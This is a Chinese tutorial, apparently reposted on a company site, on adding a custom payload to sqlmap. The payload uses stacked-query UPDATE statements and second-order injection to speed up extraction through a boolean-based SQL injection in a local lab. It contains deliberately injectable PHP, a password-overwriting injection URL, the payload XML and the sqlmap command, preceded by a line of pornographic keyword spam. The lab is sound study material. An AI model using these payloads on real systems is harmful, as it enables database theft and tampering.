日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
Sqlmap進(jìn)階:定制payload加速boolean-based注入

文中提及的部分技術(shù)可能帶有一定攻擊性,僅供安全學(xué)習(xí)和教學(xué)用途,禁止非法使用。

從策劃到設(shè)計(jì)制作,每一步都追求做到細(xì)膩,制作可持續(xù)發(fā)展的企業(yè)網(wǎng)站。為客戶提供成都網(wǎng)站制作、成都網(wǎng)站設(shè)計(jì)、網(wǎng)站策劃、網(wǎng)頁設(shè)計(jì)、域名注冊、雅安服務(wù)器托管、網(wǎng)絡(luò)營銷、VI設(shè)計(jì)、 網(wǎng)站改版、漏洞修補(bǔ)等服務(wù)。為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,以客戶的口碑塑造優(yōu)易品牌,攜手廣大客戶,共同發(fā)展進(jìn)步。

大家在玩SQL注入的時(shí)候大概都遇到過一種特別雞肋的情況:目標(biāo)只有支持多語句查詢的boolean-based注入點(diǎn)(比如CVE-2014-3704)。我們很單純地想下載數(shù)據(jù)庫,卻只能用sqlmap10線程一位一位獲取。這樣的龜速根本就是反人類!那邊跑著sqlmap這邊還不能溜掉,說不定就要你按個(gè)“Y”。

不過,既然支持多語句就有另一種思路可以提速:把注入語句的執(zhí)行結(jié)果update到另一個(gè)可見頁面上,這樣就可以直接獲取注入語句的輸出了。然而sqlmap本身并沒有這個(gè)功能。

本文主要向讀者介紹sqlmap的payloads自定義,以及如何基于它們,利用二階注入功能,讓boolean-based注入點(diǎn)轉(zhuǎn)化成error-based,加速測試過程。

實(shí)驗(yàn)環(huán)境搭建:

實(shí)驗(yàn)用數(shù)據(jù)庫是基于sqli靶機(jī)環(huán)境的

另有兩個(gè)php分別作為上圖中的頁面一和頁面二

test.php:

 
 
 
 
  1. function db_connect() {
  2.     @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
  3.     // echo "out";
  4.     if (mysqli_connect_errno ()) {
  5.         echo "Error: Could not connect to database.  Please try again later.";
  6.         return null;
  7.     }
  8.     return $db;
  9. }
  10. $db = db_connect ();
  11. $id=$_GET['id'];
  12. $query ="SELECT * FROM users WHERE id='$id' ;";
  13. //echo $query;
  14. $result = $db->multi_query( $query );
  15. $result = $db->multi_query( 'select * from SLEEP(5)');
  16. $result = $db->store_result();
  17. //echo $num_results = $result->num_rows;
  18. echo $result->fetch_assoc()['username'];
  19. //echo $result->fetch_assoc ()['username'];
  20. $db->close ();
  21. ?>

test1.php

 
 
 
 
  1. function db_connect() {
  2.     @ $db = new mysqli ( 'localhost', 'root', '********', 'security' );
  3.     // echo "out";
  4.     if (mysqli_connect_errno ()) {
  5.         echo "Error: Could not connect to database.  Please try again later.";
  6.         return null;
  7.     }
  8.     return $db;
  9. }
  10. $db = db_connect ();
  11. $query ="SELECT * FROM users WHERE id='10' ;";
  12. //echo $query;
  13. $result = $db->query( $query );
  14. echo $result->fetch_assoc()['password'];
  15. $db->close ();
  16. ?>

顯然test.php存在支持多語句執(zhí)行的SQL注入漏洞

于是我們請求

http://127.0.0.1/sqli/test.php?id=1%27;update%20users%20set%20password%20=%20%27freebuffreebuf%27%20where%20id%20=%20%2710

就成功修改了password字段

可見這種思路是可行的。

Sqlmap的修改:

首先,我們先了解sqlmap是如何工作的:

sqlmap啟動(dòng)后首先設(shè)置測試的level和risk,并識(shí)別受測試元素的類型

然后從它的配置文件xml/payloads.xml里面獲取應(yīng)該測試的漏洞類型、測試方法以及相應(yīng)的漏洞利用方案

在payloads.xml里面記錄了兩類數(shù)據(jù)(如果您聽得云里霧里的,請看看我翻譯的payloads.xml說明):

:用來使sql語句正確的前綴和后綴。比如前綴:"'"和后綴:"AND '[RANDSTR]'='[RANDSTR]"就可以閉合單引號(hào),防止出錯(cuò)。

:特定漏洞的全部信息,包括所用到的boundary,漏洞的level、risk,漏洞類型,利用的方法,檢測方法等。

在測試一個(gè)參數(shù)的時(shí)候sqlmap會(huì)遍歷所有符合要求的test節(jié)點(diǎn),使用request節(jié)點(diǎn)下的payload執(zhí)行漏洞掃描。

最后請求的內(nèi)容是(括號(hào)里只是舉例):

原參數(shù)

(id=1)+prefix (')+payload(AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))+comment(注釋符這里沒有)+suffix(AND 'few'='few)

然后再用response節(jié)點(diǎn)下的某種檢測方式進(jìn)行檢測。

這里我們的思路的核心就是輸出明文,與error-based相似,因此使用error-based漏洞常使用的正則表達(dá)式進(jìn)行輸出的獲?。?/p>

 
 
 
 
  1. [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]

其中[DELIMITER_START]和[DELIMITER_STOP]是用來匹配輸出開頭和結(jié)尾的隨機(jī)生成的字符串

想必payload應(yīng)該與之對應(yīng)

 
 
 
 
  1. ;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = 

這里請注意在error-based漏洞的檢測中sqlmap是用獲取的輸出(即在[DELIMITER_START]和[DELIMITER_STOP]之間的部分)為1來初步確定漏洞的存在的。

上述語句就把輸出的內(nèi)容UPDATE成了[DELIMITER_START]+"1"+[DELIMITER_STOP]使得此漏洞被檢測出存在。

檢測說完了,說說利用:

利用的語句受vector節(jié)點(diǎn)控制,有了payload就可以對照寫出來了

 
 
 
 
  1. ;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =

這里的[QUERY]就是執(zhí)行的漏洞利用語句,輸出還是會(huì)被正則獲取

于是就有了最終的自定義test

 
 
 
 
  1.         MySQL Customized  update query based test 
  2.         2
  3.         1
  4.         0
  5.         1
  6.         1
  7.         ;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =
  8.         
  9.             ;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = 
  10.         
  11.         
  12.             [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
  13.         
  14.         
  15.             MySQL
  16.             >= 5.0.11
  17.         
  18.     

我們把這段代碼加入到payloads.xml里面(root節(jié)點(diǎn)里面哦),然后基于這個(gè)自定義的測試配置和二階SQL注入,寫我們的命令:

 
 
 
 
  1. sqlmap -u 127.0.0.1/sqli/test.php?id=1 --second-order test1.php -v 3 --level 1 --suffix "'10"

請注意上述語句我重定義了后綴。

看看效果:

可用了!

至此,我們已經(jīng)成功讓一個(gè)慢得要死的boolean-based注入點(diǎn)進(jìn)化成為了確確實(shí)實(shí)人見人愛的error-based注入點(diǎn),媽媽再也不用注入速度太慢了~

快快dump一下來體會(huì)這速度帶來的快感吧。

P.S:多次對比過程中不要忘了刪掉sqlmap的本地緩存。

參考:sqlmap源代碼

本文作者:piece of the past,聯(lián)系方式:1005308775@qq.com


當(dāng)前文章:Sqlmap進(jìn)階:定制payload加速boolean-based注入
分享路徑:http://www.dlmjj.cn/article/ccoehsj.html